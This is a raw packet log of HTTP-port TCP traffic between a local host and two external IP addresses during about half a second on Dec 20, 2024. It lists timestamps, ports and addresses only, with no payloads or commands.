Dec 20, 2024 07:12:45.028080940 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.032773018 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.032994032 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.033035994 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.037615061 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.037673950 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.037710905 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.042316914 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.042427063 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.042465925 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.047099113 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.047209978 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.047247887 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.051884890 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.052120924 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.052166939 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.056739092 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.056792974 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.056832075 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.061495066 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.061553001 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.061590910 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.066314936 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.066415071 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.066454887 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.071069002 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.071181059 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.071219921 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.075874090 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.076014042 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.076054096 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.080610037 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.080743074 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.080785990 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.085454941 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.085553885 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.085602045 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.090163946 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.134825945 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.189011097 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.189142942 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.189197063 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.190685034 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.190803051 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.190943003 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.194133043 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.194149017 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.194194078 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.197324038 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.197428942 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.197474957 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.200731993 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.200822115 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.200872898 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.203952074 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.204047918 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.204092026 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.207139969 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.207220078 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.207259893 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.210151911 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.210203886 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.210243940 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.213162899 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.213226080 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.213409901 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.216150999 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.216264963 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.216306925 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.219202995 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.219218969 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.219269037 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.222172022 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.222188950 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.222237110 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.224988937 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.225100994 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.225137949 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.226016045 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.226073980 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.226073980 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.226089001 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.226113081 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.226114988 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.226130009 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.226131916 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.226146936 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.226152897 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.226164103 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.226183891 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.226481915 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.226495981 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.226511002 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.226525068 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.226527929 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.226535082 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.226555109 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.226567030 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.227991104 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.228055954 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.228099108 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.230918884 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.231198072 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.231240988 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.233916044 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.234024048 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.234061956 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.236944914 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.237077951 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.237114906 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.239895105 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.240019083 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.240060091 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.242887020 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.243046999 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.243092060 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.245881081 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.246061087 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.246109009 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.248852968 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.248996973 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.249036074 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.251831055 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.251986027 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.252146959 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.254790068 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.254983902 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.255029917 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.257846117 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.257862091 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.257906914 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.260752916 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.260885000 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.260926962 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.263802052 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.263920069 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.264030933 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.266877890 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.266894102 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.266937971 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.269860029 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.269932985 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.269998074 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.272722006 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.272874117 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.272916079 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.275793076 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.275890112 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.275938034 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.278656960 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.278764009 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.278814077 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.281728029 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.281815052 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.281860113 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.284599066 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.284730911 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.284771919 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.287652016 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.287748098 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.287791967 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.289551973 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.289730072 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.289774895 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.346297026 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.346472979 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.346534014 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.346585989 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.350533962 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.350603104 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.350646973 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.350696087 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.381161928 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.381263971 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.381337881 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.382246971 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.382348061 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.382396936 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.384721994 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.384841919 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.384887934 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.387011051 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.387188911 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.387237072 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.389506102 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.389522076 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.389573097 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.391772985 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.391879082 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.391925097 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.394057035 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.394149065 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.394196033 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.396358013 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.396373034 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.396420002 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.398549080 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.398732901 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.398782015 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.400820971 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.400968075 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.401017904 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.403517962 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.403568983 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.403616905 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.405219078 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.405255079 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.405302048 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.407402039 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.407435894 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.407484055 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.409399986 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.409435034 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.409482956 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.411375046 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.411509037 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.411565065 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.413463116 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.413520098 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.413568974 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.415533066 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.415585995 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.415633917 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.417440891 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.417540073 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.417588949 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.418052912 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.418102026 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.418102980 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.418157101 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.419397116 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.419513941 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.419560909 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.421506882 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.421576023 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.421623945 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.422379971 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.422430038 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.422494888 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.422547102 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.423377991 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.423755884 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.423809052 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.425384998 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.425524950 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.425579071 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.427386999 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.427582026 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.427634001 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.429466009 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.429564953 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.429611921 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.430839062 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.430886984 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.430968046 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.431016922 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.431379080 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.431493044 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.431540012 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.433382034 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.433485985 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.433532953 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.435399055 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.435590029 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.435643911 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.437374115 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.437510014 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.437562943 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.439371109 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.439419985 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.439423084 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.439457893 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.439471006 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.439589024 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.439642906 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.441385031 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.441504002 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.441557884 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.443382025 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.443434000 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.443480015 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.445394039 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.445498943 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.445547104 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.447359085 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.447458029 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.447504044 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.447805882 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.447856903 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.447977066 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.448025942 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.449523926 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.449558973 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.449609041 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.451338053 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.451441050 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.451488972 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.453295946 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.453442097 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.453490973 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.455394030 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.455429077 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.455473900 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.456316948 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.456366062 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.456430912 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.456479073 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.457288980 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.457489967 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.457544088 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.459278107 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.459418058 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.459470034 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.461266994 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.461472034 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.461525917 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.463287115 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.463386059 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.463432074 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.464818954 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.464870930 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.464956999 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.465006113 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.465306997 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.465358973 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.465404034 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.467353106 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.467431068 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.467478037 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.469261885 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.469475031 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.469526052 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.471249104 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.471395969 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.471448898 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.473232031 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.473401070 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.473434925 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.473452091 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.473469973 CET	80	49867	31.41.244.11	192.168.2.4
